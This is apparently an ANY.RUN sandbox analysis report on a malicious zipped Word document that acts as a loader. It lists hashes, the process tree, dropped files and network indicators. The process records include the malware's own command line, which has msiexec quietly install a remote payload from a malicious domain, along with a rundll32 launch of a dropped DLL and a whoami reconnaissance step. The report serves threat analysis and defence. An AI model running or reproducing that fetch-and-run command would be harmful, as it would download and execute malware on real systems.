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File name:

New Doc 2018-12-06 (11).zip

Full analysis: https://app.any.run/tasks/012ae776-ea0a-4a91-ad04-d17084403001
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 18, 2018, 15:00:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
exe-to-msi
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

76DC7829B675A80AA1F51E3BE65A6B92

SHA1:

31D6F816A2793ACCB7EA93C180CC33C77E8C5C06

SHA256:

1E7FC9787C3645C671C88E4E3C86EB15899B6267160DC2D31652ED28F15BDE50

SSDEEP:

1536:K6jND5eeGUlZfpxnIX6vGnMlz/zBm2Bm71Nm6wJS58N2la:JNdeeGOdpxc6vGnMlrzB9K1c6wJSqQla

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3928)

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 3928)

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 3172)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3300)

    • Changes settings of System certificates

      • rundll32.exe (PID: 3172)

  • SUSPICIOUS

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3300)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3300)
      • MSI3618.tmp (PID: 3528)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2596)
      • rundll32.exe (PID: 3172)

    • Executes scripts

      • MSI3618.tmp (PID: 3528)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 2344)

    • Adds / modifies Windows certificates

      • rundll32.exe (PID: 3172)

    • Uses WHOAMI.EXE to obtaining logged on user information

      • cmd.exe (PID: 2776)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3928)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3300)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3300)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3928)

    • Application was dropped or rewritten from another process

      • MSI3618.tmp (PID: 3528)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0001
ZipCompression: Deflated
ZipModifyDate: 2018:12:18 19:16:16
ZipCRC: 0x56a3146c
ZipCompressedSize: 64302
ZipUncompressedSize: 112128
ZipFileName: New Doc 2018-12-06 (11).doc
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
10
Malicious processes
2
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start winrar.exe no specs winword.exe no specs msiexec.exe no specs msiexec.exe msi3618.tmp wscript.exe no specs cmd.exe no specs rundll32.exe cmd.exe no specs whoami.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2956"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\New Doc 2018-12-06 (11).zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
3928"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\New Doc 2018-12-06 (11).doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3920"C:\Windows\System32\msiexec.exe" back=12 error=reboot /i http://office365addons.com/service /q OnLoad="c:\windows\system32\cmd.exe" Aciqy=¶µ±VIks1C:\Windows\System32\msiexec.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3300C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3528"C:\Windows\Installer\MSI3618.tmp"C:\Windows\Installer\MSI3618.tmp
msiexec.exe
User:
admin
Company:
rsdfa company
Integrity Level:
MEDIUM
Description:
rasdfa Application
Exit code:
0
Version:
1.3.3
2596"wscript" "C:\Users\admin\AppData\Local\Temp\sht.vbs"C:\Windows\system32\wscript.exe—MSI3618.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2344"C:\Windows\System32\cmd.exe" /c C:\Users\admin\AppData\Local\Temp\zxa.batC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3172rundll32.exe C:\Users\admin\AppData\Local\Temp\helpobj.dat, mainC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2776cmd.exe /C whoamiC:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3144whoamiC:\Windows\system32\whoami.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
whoami - displays logged on user information
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 732
Read events
1 260
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
3
Text files
13
Unknown types
8

Dropped files

PID
Process
Filename
Type
3928WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR1E37.tmp.cvr —
MD5:—
SHA256:—
3928WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF8527CB1AD1CE9584.TMP —
MD5:—
SHA256:—
3928WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFBA5B65081068896A.TMP —
MD5:—
SHA256:—
3928WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFB72639AB7066184F.TMP —
MD5:—
SHA256:—
3300msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF23815C97A397C140.TMP —
MD5:—
SHA256:—
3300msiexec.exeC:\Windows\Installer\MSI2DA9.tmpexecutable
MD5:10C5C0F5E8379D539BA5DFD5FB1E352C
SHA256:0F80AF6C82E1EB40B99D471418726CC050648C5086BFF591777D2250BA1A697F
2956WinRAR.exeC:\Users\admin\Desktop\New Doc 2018-12-06 (11).docdocument
MD5:ACDFD626D941107C5174515475E4C66F
SHA256:DF507558EDC4E8BE5999603DB2FEB1D69D3EAB6AA72B7089B1C2B5E7EE6D146D
3928WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:7393A092A743F11DBA974E609CA961CB
SHA256:4D3A70910700B275C2E9863AEB23EA869C282F1FFDEEC4F6259D395C88F0ED0C
3928WINWORD.EXEC:\Users\admin\Desktop\~$w Doc 2018-12-06 (11).docpgc
MD5:1CA3089EB8F8BB5BD7573DCCBA5B61A9
SHA256:AA0255889F61895C0329B9B4F229E79BD3724CDC17CC504F9D164BD143E1CAA9
3528MSI3618.tmpC:\Users\admin\AppData\Local\Temp\nsn3701.tmp\System.dll —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3300
msiexec.exe
GET
200
185.17.123.165:80
http://office365addons.com/service
RU
executable
396 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3172
rundll32.exe
37.252.5.139:443
vesecase.com
—
DE
malicious
3300
msiexec.exe
185.17.123.165:80
office365addons.com
Leaseweb Deutschland GmbH
RU
malicious

DNS requests

Domain
IP
Reputation
office365addons.com
  • 185.17.123.165
malicious
vesecase.com
  • 37.252.5.139
malicious

Threats

PID
Process
Class
Message
3300
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
3300
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3300
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
No debug info
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New Doc 2018-12-06 (11).zip